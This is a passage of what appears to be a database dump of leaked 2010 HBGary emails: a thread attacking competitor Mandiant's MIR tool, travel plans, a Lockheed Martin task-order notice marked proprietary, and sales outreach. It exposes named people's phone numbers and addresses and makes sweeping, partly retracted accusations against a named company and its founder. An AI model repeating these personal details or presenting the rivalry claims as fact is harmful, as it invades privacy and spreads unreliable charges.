&lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Ted,\r\n\r\nSorry for the lack of comms lately.  Been overloaded.  I need to\r\ntalk to Aaron.  Is he around?\r\n\r\nI am up in Boston for the next three days.  I have sent this to\r\none of the guys to get the password for you.  Should get back to you tonight.\r\n\r\n \r\n\r\nBrian\r\n\r\n \r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 12, 2010 2:04 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nHi Brian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHope all is well, what have you been up to?  I have a\r\nquick question.  Do you still have that malware disk I sent you a while\r\nback?  If so, or if you can get your hands on it, can you send me the\r\npassword that was on it.  I have a zip of the image but forgot the\r\npassword, lol.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',2611,'aaron_hbgary_com/2611.html'),(8474,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006543.M246814P14101Q3330.eml','\"Barr Aaron\" <aaron@hbgary.com>','NEK','Can you send me the contact info for NEK?  I want to reach out to them and set up a meeting if possible.-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',6166,'aaron_hbgary_com/6166.html'),(8475,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006543.M42587P14101Q3329.eml','tiffanny.gates@mantech.com','Fwd: Huge deficiency discovered in Mandiant today','Tiffany,Thought you would find this a good read.  Please don&#39;t distribute directly.AaronPS did you have any other questions directly for me?  \r\nSent from my iPadBegin forwarded message:From: &quot;Shawn Bracken&quot; &lt;shawn@hbgary.com&gt;Date: July 13, 2010 12:25:59 PM EDT\r\nTo: &quot;&#39;Greg Hoglund&#39;&quot; &lt;greg@hbgary.com&gt;, &lt;all@hbgary.com&gt;, &quot;&#39;Karen Burke&#39;&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\nFor those who are curious where we got this from, it came\r\nstraight from Mandiant!:\r\n\r\n \r\n\r\nQuoted verbatim from the Mandiant Mir v1.4 user manual in the\r\nsection regarding their raw file support:\r\n\r\n \r\n\r\n“NOTE: A file can take multiple clusters of storage space on a\r\ndisk. If the file is appended to at a later time, then the additional clusters\r\nneeded may not immediately follow the initial ones. Such a file is called fragmented.\r\nIf a fragmented file and another file that lie between the original and appended\r\nclusters are both deleted, then the acquisition of the fragmented file will\r\nappear incorrectly to succeed. A file of the proper size will be acquired,\r\nbut the contents will be wrong, CONTAINING PARTS OF BOTH FILES”\r\n\r\n \r\n\r\nTranslation: They haven’t figured out how NTFS/Windows describes\r\nand manages non-contiguous file storage. HBGary does not suffer from such\r\nlaughable restrictions.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, July 12, 2010 10:22 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n \r\n\r\nHuge\r\ndeficiency discovered in Mandiant today\r\n\r\nShawn\r\ndiscovered that MIR does not offer forensically sound, or even accurate, disk\r\nacquisition.  Last week, we discovered that Mandiant does not even\r\nperform physical memory assessment at the end-node - they only appear to do so\r\nin their marketing materials.  In real life, you have to download the physmem\r\nto a local analyst workstation and use Memoryze for every host, one-by-one. \r\nWhile this is a compelling value-add for HBGary since we can do this in a distributed\r\nfashion, this pales in comparison to the discovery today that Mandiant cannot\r\neven examine the disk.  We thought, the one thing that MIR apparently had going\r\nfor it was the ability to discover disk-based IOC&#39;s at the end node.  Today,\r\nShawn discovered that MIR doesn&#39;t actually do this either - they have\r\nincomplete half-implemented code to deal with NTFS.  To deal with files using\r\nraw NTFS, you have to know how NTFS works - this is something that only HBGary,\r\nGuidance, and Access Data have been able to do (apparently).  Hats off to\r\nShawn, in fact, since he was the one who finally cracked the case on NTFS while\r\nwe were still in the downtown office (that was last year, working in a one-room\r\nmotel, didn&#39;t curb Shawn&#39;s uber hard core skillz).  Mandiant has not been able\r\nto overcome these same technical challenges in this (not a surprise, its hard!)\r\n- and as a result, they cannot recover NTFS files from the drive, except in the\r\nmost trivial of circumstances (by trivial, we mean 99.98% of the time Mandiant\r\ndoesn&#39;t work).  Stated clearly, Mandiant cannot acquire an accurate image of a\r\nfile on disk.  This means Mandiant cannot function as a forensic tool in the\r\nEnterprise, period.  They basically don&#39;t work.  (If you want technical\r\ndetails, I can give them to you, but basically Mandiant is not parsing NTFS\r\nproperly and thus file recovery is corrupted in almost all cases)\r\n\r\n\r\n\r\nI have\r\nnever, in my entire involvement with the security industry, ever encountered a\r\nproduct so poorly executed and so clearly half-implemented as Madiant&#39;s MIR. \r\nTheir &quot;APT&quot; marketing campaign borders on false-advertising, and\r\ntheir execution ridicules their customers.  This is fact: I met a customer\r\nlast week who had paid for two years of Mandiant service (thats\r\n$200k) without a single individual malware being reported (read: not a\r\nsingle, solitary instance - not one!) borders on negligence.  Since\r\nMandiant is HBGary&#39;s only competition, we should revel in the fact they are\r\nso __BAD__ at what they do.  Kevin Mandia should be ashamed, ASHAMED at\r\nwhat he has done.  His customers deserve better, and we are going to take it\r\nfrom him.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12925,'aaron_hbgary_com/12925.html'),(8476,'2010-07-13','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006546.M671930P14101Q3331.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,rich@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Gfirst inforamtion','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease&nbsp; see Attached. \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9660,'aaron_hbgary_com/9660.html'),(8477,'2010-07-13','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006547.M178565P14101Q3332.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,rich@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Michael G. Spohn\" <mike@hbgary.com>','Need GFirst Conference and BlackHat Flight info.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi to all,\r\n\r\n&nbsp;\r\n\r\nI am going to make flight arrangements today for Gfirst And\r\nBlackHat.\r\n\r\n&nbsp;\r\n\r\nBlack Hat attendees -&nbsp; Mike, Rich and Aaron: &nbsp;&nbsp;I\r\nneed to know what date and time you will be leaving for Las Vegas?&nbsp; What\r\nairport will you be leaving from?\r\n\r\n&nbsp;\r\n\r\n&nbsp;GFirst attendees &#8211; Bob, Rich Maria and\r\nAaron:&nbsp; Need to know what date and time you will be leaving for San Antonio?&nbsp;\r\n&nbsp;What Airport will you be leaving from? \r\n\r\n&nbsp;\r\n\r\nPlease get back to me as soon as possible.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14250,'aaron_hbgary_com/14250.html'),(8478,'2010-07-13','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297006547.M613256P14101Q3333.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,,,','UNO - Lynx Task Order Announcement - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nDear UNO Suppliers:\r\n\r\n&nbsp;\r\n\r\nThe Lockheed\r\nMartin UNO PMO is expecting to receive a Statement of Work for Task\r\nOrder Lynx on/about the forth week of July, 2010.&nbsp; Lynx is\r\nexpected to be a twelve month Cost Plus Fixed Fee &#8211; Completion (CPFF)\r\neffort. \r\n\r\n&nbsp;\r\n\r\nLynx is an 802.11 tool development. To be\r\nconsidered qualified, interested suppliers must have significant 802.11\r\nexperience.. \r\n\r\n&nbsp;\r\n\r\nIf you are\r\ninterested in, and have the capabilities to meet the basic requirements of this\r\ntask order, then please provide a written initial\r\nconfirmation of your interest via email to Ryan Staley, UNO Subcontracts\r\nAdministrator, at ryan.e.staley@lmco.com and\r\nJim Racz, UNO LSE, at james.m.racz@lmco.com\r\nby NLT noon (12pm) on Fri 7/16.&nbsp; In your confirmation response to\r\nLMCO, please be sure to confirm your Security POC name, phone, and fax numbers\r\n(classified and unclassified).&nbsp; You must also complete and return the\r\nattached Day Zero Exhibit I (Initial) Initial Task Order Questionnaire for\r\nClassified Information Exchange attached. \r\n\r\n&nbsp;\r\n\r\nAfter this\r\nnotification, a Lynx Reading Room will be available to view a draft\r\nStatement of Work which will not be promulgated via FAX.&nbsp; The Reading Room\r\nwill only be available for those that have provided written notification\r\nof their continuing interest.&nbsp; The reading room will be available 21-23\r\nJuly from 0800-1600 in one hour segments.&nbsp; Please call or email Jim Racz\r\n(703-466-3314) james.m.racz@lmco.com&nbsp;\r\nto set up an appointment.&nbsp; A TS/ISA or S/ISA clearance with\r\nour Sponsor must be on file at UNO to review the draft Lynx SOW in the\r\nReading Room. \r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and at least one operations support person for Task Order Lynx\r\nmust currently possess a TS/ISSA security\r\nclearance and be available on day 1.&nbsp;\r\nAll others supporting this Task Order must be S/ISA at a minimum.&nbsp; Please\r\nnote that other security requirements may be promulgated at a later date.\r\n\r\n&nbsp; \r\n\r\nThe\r\nfollowing is our current projected schedule:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nO/A July\r\n21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReading Room available for SOW review\r\n\r\nAugust\r\n2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeginning of 10-day task order process &#8211; UNO PMO sends RFP to solicited\r\nbidders\r\n\r\nAugust\r\n23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTask order winner is selected\r\n\r\nSeptember\r\n1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAuthorization to proceed on contract\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCurrently\r\nit is expected that the work required for Lynx will be up to the SECRET\r\nlevel.&nbsp; By the time of contract award, you must have the capability\r\nto receive, process, and store SECRET classified material from the UNO Sponsor.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13290,'aaron_hbgary_com/13290.html'),(8479,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006551.M783629P14101Q3334.eml','\"John Schlegel\" <john.schlegel@ngc.com>','Hey','Hi John,Hope all is well.  Aaron Barr and I have been busy developing some unique capabilities I think you might be interested in.  We&#39;re briefing our Fingerprint tool at BlackHat this month, will you be there?  It&#39;s our attempt to start solving the attribution problem.  \r\nI&#39;m trying to drum up some business, either in sales or consulting/support.  Attached are three whitepapers I think you and some of your customers may find interesting.The first is our analysis of the Aurora malware.  The second is a how-to guide for using our product, REcon, for developing software exploits, and the third describes our new Enterprise product, Active Defense.  Please feel free to pass along to anyone you think may be interested.\r\nI&#39;d love the opportunity to give you a capabilities brief.  If you are interested let me know and I can set up a Webex so we can catch up and discuss.Warm Regards,\r\nTed-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\nhttp://www.hbgary.com\r\n',12055,'aaron_hbgary_com/12055.html'),(8480,'2010-07-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006552.M163240P14101Q3335.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Huge deficiency discovered in Mandiant today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nShawn,\r\n\r\n&nbsp;\r\n\r\nCan the bad guy use this info to hide their presence on disk so\r\nthat Mandiant MIR can&#8217;t find them?\r\n\r\n&nbsp;\r\n\r\nHow could this poor implementation mess up an investigation?\r\n\r\n&nbsp;\r\n\r\nCrummy technology is one thing, but pointing to real pain caused\r\nby bad software is useful for my selling purposes.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shawn Bracken\r\n[mailto:shawn@hbgary.com] \r\nSent: Tuesday, July 13, 2010 12:26 PM\r\nTo: \'Greg Hoglund\'; all@hbgary.com; \'Karen Burke\'\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor those who are curious where we got this from, it came\r\nstraight from Mandiant!:\r\n\r\n&nbsp;\r\n\r\nQuoted verbatim from the Mandiant Mir v1.4 user manual in the\r\nsection regarding their raw file support:\r\n\r\n&nbsp;\r\n\r\n&#8220;NOTE: A file can take multiple clusters of storage space\r\non a disk. If the file is appended to at a later time, then the additional\r\nclusters needed may not immediately follow the initial ones. Such a file is\r\ncalled fragmented. If a fragmented file and another file that lie between the\r\noriginal and appended clusters are both deleted, then the acquisition of the\r\nfragmented file will appear incorrectly to succeed. A file of the proper\r\nsize will be acquired, but the contents will be wrong, CONTAINING PARTS\r\nOF BOTH FILES&#8221;\r\n\r\n&nbsp;\r\n\r\nTranslation: They haven&#8217;t figured out how NTFS/Windows\r\ndescribes and manages non-contiguous file storage. HBGary does not suffer from\r\nsuch laughable restrictions.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, July 12, 2010 10:22 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHuge\r\ndeficiency discovered in Mandiant today\r\n\r\nShawn\r\ndiscovered that MIR does not offer forensically sound, or even accurate, disk\r\nacquisition.&nbsp; Last week,&nbsp;we&nbsp;discovered that Mandiant does not\r\neven perform physical memory assessment at the end-node - they only appear to\r\ndo so in their marketing materials.&nbsp; In real life, you have to download\r\nthe physmem to a local analyst workstation and use Memoryze for every host,\r\none-by-one.&nbsp; While this is a compelling value-add for HBGary since we can\r\ndo this in a distributed fashion, this pales in comparison to the discovery\r\ntoday that Mandiant cannot even examine the disk.&nbsp; We thought, the one thing\r\nthat MIR apparently had going for it was the ability to discover disk-based\r\nIOC\'s at the end node.&nbsp; Today, Shawn discovered that MIR doesn\'t actually\r\ndo this either - they have incomplete half-implemented code to deal with\r\nNTFS.&nbsp; To deal with files using raw NTFS, you have to know how NTFS works\r\n- this is something that only HBGary, Guidance, and Access Data have been able\r\nto do (apparently).&nbsp; Hats off to Shawn, in fact, since he was the one who\r\nfinally cracked the case on NTFS while we were still in the downtown office\r\n(that was last year, working in a one-room motel, didn\'t curb Shawn\'s uber hard\r\ncore skillz).&nbsp; Mandiant has not been able to overcome these same technical\r\nchallenges in this (not a surprise, its hard!) - and as a result, they cannot\r\nrecover NTFS files from the drive, except in the most trivial of circumstances\r\n(by trivial, we mean 99.98% of the time Mandiant doesn\'t work).&nbsp; Stated\r\nclearly, Mandiant cannot acquire an accurate image of a file on disk.&nbsp;\r\nThis means Mandiant cannot function as a forensic tool in the Enterprise,\r\nperiod.&nbsp; They basically don\'t work.&nbsp; (If you want technical details,\r\nI can give them to you, but basically Mandiant is not parsing NTFS properly and\r\nthus file recovery is corrupted in almost all cases)\r\n\r\n\r\n\r\nI have\r\nnever, in my entire involvement with the security industry, ever encountered a\r\nproduct so poorly executed and so clearly half-implemented as Madiant\'s\r\nMIR.&nbsp; Their &quot;APT&quot; marketing campaign borders on\r\nfalse-advertising, and their execution ridicules their customers.&nbsp; This\r\nis&nbsp;fact: I met a customer last week who had paid for two years of Mandiant\r\nservice (thats $200k)&nbsp;without a single individual malware being reported\r\n(read: not a single, solitary instance - not one!)&nbsp;borders on\r\nnegligence.&nbsp; Since Mandiant is HBGary\'s only competition, we should revel\r\nin the fact they are so&nbsp;__BAD__ at what they do.&nbsp; Kevin Mandia should\r\nbe ashamed, ASHAMED at what he has done.&nbsp; His customers deserve better,\r\nand we are going to take it from him.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/13/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12392,'aaron_hbgary_com/12392.html'),(8481,'2010-07-13','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006552.M458123P14101Q3336.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"HBGary Employees\" <all@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Huge deficiency discovered in Mandiant today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\nI wouldn’t start saying the bad guy is going to do this or that… I would just\r\nsay that the approach they use incomplete and inaccurate from a forensic\r\nstand-point BASED ON THEIR MANUAL.  Don’t try to get into the weeds with wild\r\npredictions, keep it high level.  These things will be easy to test against an\r\nActive Defense or Encase Enterprise or Access Data.\r\n\r\n \r\n\r\nRC\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, July 13, 2010 1:18 PM\r\nTo: all@hbgary.com; &#39;Karen Burke&#39;\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nShawn,\r\n\r\n \r\n\r\nCan the bad guy use this info to hide their presence on disk so that\r\nMandiant MIR can’t find them?\r\n\r\n \r\n\r\nHow could this poor implementation mess up an investigation?\r\n\r\n \r\n\r\nCrummy technology is one thing, but pointing to real pain caused\r\nby bad software is useful for my selling purposes.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shawn Bracken\r\n[mailto:shawn@hbgary.com] \r\nSent: Tuesday, July 13, 2010 12:26 PM\r\nTo: &#39;Greg Hoglund&#39;; all@hbgary.com; &#39;Karen Burke&#39;\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFor those who are curious where we got this from, it came\r\nstraight from Mandiant!:\r\n\r\n \r\n\r\nQuoted verbatim from the Mandiant Mir v1.4 user manual in the\r\nsection regarding their raw file support:\r\n\r\n \r\n\r\n“NOTE: A file can take multiple clusters of storage space on a\r\ndisk. If the file is appended to at a later time, then the additional clusters\r\nneeded may not immediately follow the initial ones. Such a file is called\r\nfragmented. If a fragmented file and another file that lie between the original\r\nand appended clusters are both deleted, then the acquisition of the fragmented\r\nfile will appear incorrectly to succeed. A file of the proper size will be\r\nacquired, but the contents will be wrong, CONTAINING PARTS OF BOTH FILES”\r\n\r\n \r\n\r\nTranslation: They haven’t figured out how NTFS/Windows describes\r\nand manages non-contiguous file storage. HBGary does not suffer from such\r\nlaughable restrictions.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, July 12, 2010 10:22 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n \r\n\r\nHuge\r\ndeficiency discovered in Mandiant today\r\n\r\nShawn\r\ndiscovered that MIR does not offer forensically sound, or even accurate, disk\r\nacquisition.  Last week, we discovered that Mandiant does not\r\neven perform physical memory assessment at the end-node - they only appear to\r\ndo so in their marketing materials.  In real life, you have to download\r\nthe physmem to a local analyst workstation and use Memoryze for every host,\r\none-by-one.  While this is a compelling value-add for HBGary since we can\r\ndo this in a distributed fashion, this pales in comparison to the discovery\r\ntoday that Mandiant cannot even examine the disk.  We thought, the one\r\nthing that MIR apparently had going for it was the ability to discover\r\ndisk-based IOC&#39;s at the end node.  Today, Shawn discovered that MIR\r\ndoesn&#39;t actually do this either - they have incomplete half-implemented code to\r\ndeal with NTFS.  To deal with files using raw NTFS, you have to know how\r\nNTFS works - this is something that only HBGary, Guidance, and Access Data have\r\nbeen able to do (apparently).  Hats off to Shawn, in fact, since he was\r\nthe one who finally cracked the case on NTFS while we were still in the\r\ndowntown office (that was last year, working in a one-room motel, didn&#39;t curb\r\nShawn&#39;s uber hard core skillz).  Mandiant has not been able to overcome\r\nthese same technical challenges in this (not a surprise, its hard!) - and as a\r\nresult, they cannot recover NTFS files from the drive, except in the most\r\ntrivial of circumstances (by trivial, we mean 99.98% of the time Mandiant\r\ndoesn&#39;t work).  Stated clearly, Mandiant cannot acquire an accurate image\r\nof a file on disk.  This means Mandiant cannot function as a forensic tool\r\nin the Enterprise, period.  They basically don&#39;t work.  (If you want\r\ntechnical details, I can give them to you, but basically Mandiant is not parsing\r\nNTFS properly and thus file recovery is corrupted in almost all cases)\r\n\r\n\r\n\r\nI have\r\nnever, in my entire involvement with the security industry, ever encountered a\r\nproduct so poorly executed and so clearly half-implemented as Madiant&#39;s\r\nMIR.  Their &quot;APT&quot; marketing campaign borders on\r\nfalse-advertising, and their execution ridicules their customers.  This\r\nis fact: I met a customer last week who had paid for two years of Mandiant\r\nservice (thats $200k) without a single individual malware being reported\r\n(read: not a single, solitary instance - not one!) borders on\r\nnegligence.  Since Mandiant is HBGary&#39;s only competition, we should revel\r\nin the fact they are so __BAD__ at what they do.  Kevin Mandia should\r\nbe ashamed, ASHAMED at what he has done.  His customers deserve better,\r\nand we are going to take it from him.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n \r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/13/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10989,'aaron_hbgary_com/10989.html'),(8482,'2010-07-13','\"Shawn Bracken\" <shawn@hbgary.com>','/aaron@hbgary.com/new/1297006552.M817430P14101Q3337.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Huge deficiency discovered in Mandiant today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob/All,\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg pointed out something we missed when we\r\nfirst read this description &#8211; Both of the files have to be deleted for this\r\nbehavior to manifest itself. This means this issue isn&#8217;t likely as severe as I\r\noriginally thought it was. It would be nice to get real access to an actual MIR\r\nappliance at some point in the near future so we can do a real bakeoff, instead\r\nof having to try to infer weaknesses from their manual.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, July 13, 2010 10:18 AM\r\nTo: all@hbgary.com; \'Karen Burke\'\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nShawn,\r\n\r\n&nbsp;\r\n\r\nCan the bad guy use this info to hide their presence on disk so\r\nthat Mandiant MIR can&#8217;t find them?\r\n\r\n&nbsp;\r\n\r\nHow could this poor implementation mess up an investigation?\r\n\r\n&nbsp;\r\n\r\nCrummy technology is one thing, but pointing to real pain caused\r\nby bad software is useful for my selling purposes.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shawn Bracken\r\n[mailto:shawn@hbgary.com] \r\nSent: Tuesday, July 13, 2010 12:26 PM\r\nTo: \'Greg Hoglund\'; all@hbgary.com; \'Karen Burke\'\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor those who are curious where we got this from, it came\r\nstraight from Mandiant!:\r\n\r\n&nbsp;\r\n\r\nQuoted verbatim from the Mandiant Mir v1.4 user manual in the\r\nsection regarding their raw file support:\r\n\r\n&nbsp;\r\n\r\n&#8220;NOTE: A file can take multiple clusters of storage space on a\r\ndisk. If the file is appended to at a later time, then the additional clusters\r\nneeded may not immediately follow the initial ones. Such a file is called\r\nfragmented. If a fragmented file and another file that lie between the original\r\nand appended clusters are both deleted, then the acquisition of the fragmented\r\nfile will appear incorrectly to succeed. A file of the proper size will be\r\nacquired, but the contents will be wrong, CONTAINING PARTS OF BOTH FILES&#8221;\r\n\r\n&nbsp;\r\n\r\nTranslation: They haven&#8217;t figured out how NTFS/Windows describes\r\nand manages non-contiguous file storage. HBGary does not suffer from such\r\nlaughable restrictions.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, July 12, 2010 10:22 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHuge\r\ndeficiency discovered in Mandiant today\r\n\r\nShawn\r\ndiscovered that MIR does not offer forensically sound, or even accurate, disk\r\nacquisition.&nbsp; Last week,&nbsp;we&nbsp;discovered that Mandiant does not even\r\nperform physical memory assessment at the end-node - they only appear to do so\r\nin their marketing materials.&nbsp; In real life, you have to download the\r\nphysmem to a local analyst workstation and use Memoryze for every host,\r\none-by-one.&nbsp; While this is a compelling value-add for HBGary since we can\r\ndo this in a distributed fashion, this pales in comparison to the discovery\r\ntoday that Mandiant cannot even examine the disk.&nbsp; We thought, the one\r\nthing that MIR apparently had going for it was the ability to discover\r\ndisk-based IOC\'s at the end node.&nbsp; Today, Shawn discovered that MIR\r\ndoesn\'t actually do this either - they have incomplete half-implemented code to\r\ndeal with NTFS.&nbsp; To deal with files using raw NTFS, you have to know how\r\nNTFS works - this is something that only HBGary, Guidance, and Access Data have\r\nbeen able to do (apparently).&nbsp; Hats off to Shawn, in fact, since he was\r\nthe one who finally 